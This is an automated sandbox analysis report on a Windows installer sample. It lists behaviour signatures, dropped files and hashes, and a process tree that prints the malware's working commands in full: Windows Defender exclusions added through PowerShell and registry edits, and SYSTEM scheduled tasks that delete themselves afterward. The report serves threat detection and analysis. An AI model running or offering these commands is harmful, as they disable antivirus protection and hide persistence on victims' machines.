Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 16:13

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261023-tpjxtatt6l
  • SHA256 391b9fc5ec50d474d802d1456d42d0170857320cd46f26fedd5da82f3aaeada6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:1096
  • C:\Users\Public\ofCkDm\1HikvN.exe
    "C:\Users\Public\ofCkDm\1HikvN.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4160
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ofCkDm\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3540
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ofCkDm\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3556
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1656
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1856
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2620
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1736
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4308
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4888
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1648
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5096
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5904
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4332
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:684
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4192
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1476
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:6104
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4204
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2388
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5928
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1232
                      • C:\Users\Public\ofCkDm\1HikvN.exe
                        "C:\Users\Public\ofCkDm\1HikvN.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5740
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ofCkDm" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1540
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ofCkDm" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4636
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3180
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:4792
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:2512

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 a2a913fb459541af5b35eac1fa6a771228c8739446ef851c2e0a54790da51485
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 a6b0f6a44dd96965a00f4e245bf186c12f6ff9f63bb9cb6c82d0e40b4ec561ac
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 abd16087abaf9e6c93ccf6a64382e715bbee221d417afa4bb24b582facbe109b
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 bad3becfb7254d92acb8006a21a00a19eaffeeaccc9c71ce21af15299dbcad6f
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_swwjuhma.pci.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_swwjuhma.pci.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                1HikvN.exe

                                • Path C:\Users\Public\ofCkDm\1HikvN.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\ofCkDm\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 de7ebb8eb96f5300396535df5e2d04bc12f09e75a26d40ca544204c081666b05
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\ofCkDm\adoresd.dat
                                • Size 4.8MB
                                • SHA256 b58cc282f6dd16f21ed6ef0668c8eb6a9dd58beb58c3a0846274f1122b53052d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\ofCkDm\msadox.tb
                                • Size 8KB
                                • SHA256 456ff60ae9349ddcf097248b1796ad11581b640d6a9f4f896d3adf02af798555
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1096-0-0x0000000001F00000-0x0000000001F0E000-memory.dmp

                                memory/1096-524-0x0000000001F00000-0x0000000001F0E000-memory.dmp

                                memory/1096-525-0x00007FFF30BD0000-0x00007FFF30BE2000-memory.dmp

                                memory/1096-504-0x00007FFF30BD0000-0x00007FFF30BE2000-memory.dmp

                                memory/1096-2-0x0000000001F50000-0x0000000001F5C000-memory.dmp

                                memory/1096-1-0x0000000001F00000-0x0000000001F0E000-memory.dmp

                                memory/2844-558-0x0000018A21390000-0x0000018A213DE000-memory.dmp

                                memory/2844-536-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-545-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-546-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-550-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-561-0x0000018A214B0000-0x0000018A2153A000-memory.dmp

                                memory/2844-562-0x0000018A214B0000-0x0000018A2153A000-memory.dmp

                                memory/2844-560-0x0000018A214B0000-0x0000018A2153A000-memory.dmp

                                memory/2844-559-0x0000018A214B0000-0x0000018A2153A000-memory.dmp

                                memory/2844-539-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-564-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-556-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-566-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-567-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-606-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-530-0x00007FFF38E50000-0x00007FFF38E52000-memory.dmp

                                memory/2844-531-0x00007FFF16230000-0x00007FFF1674E000-memory.dmp

                                memory/2844-544-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/2844-538-0x00007FFF38E60000-0x00007FFF38E62000-memory.dmp

                                memory/2844-543-0x0000018A206A0000-0x0000018A20F77000-memory.dmp

                                memory/4160-599-0x000001BFA14F0000-0x000001BFA1512000-memory.dmp

                                memory/4160-607-0x000001BFA1620000-0x000001BFA162A000-memory.dmp

                                memory/4160-603-0x000001BFA1560000-0x000001BFA1612000-memory.dmp

                                memory/4160-602-0x000001BFA1540000-0x000001BFA155E000-memory.dmp

                                memory/5740-586-0x000002935FA40000-0x0000029360317000-memory.dmp

                                memory/5740-578-0x00007FFF38E60000-0x00007FFF38E62000-memory.dmp

                                memory/5740-580-0x000002935FA40000-0x0000029360317000-memory.dmp

                                memory/5740-587-0x00007FFF38E50000-0x00007FFF38E52000-memory.dmp

                                memory/5740-585-0x000002935FA40000-0x0000029360317000-memory.dmp

                                memory/5740-584-0x000002935FA40000-0x0000029360317000-memory.dmp

                                memory/5740-576-0x000002935FA40000-0x0000029360317000-memory.dmp

                                memory/5740-572-0x00007FFF16230000-0x00007FFF1674E000-memory.dmp

                                memory/5740-583-0x000002935FA40000-0x0000029360317000-memory.dmp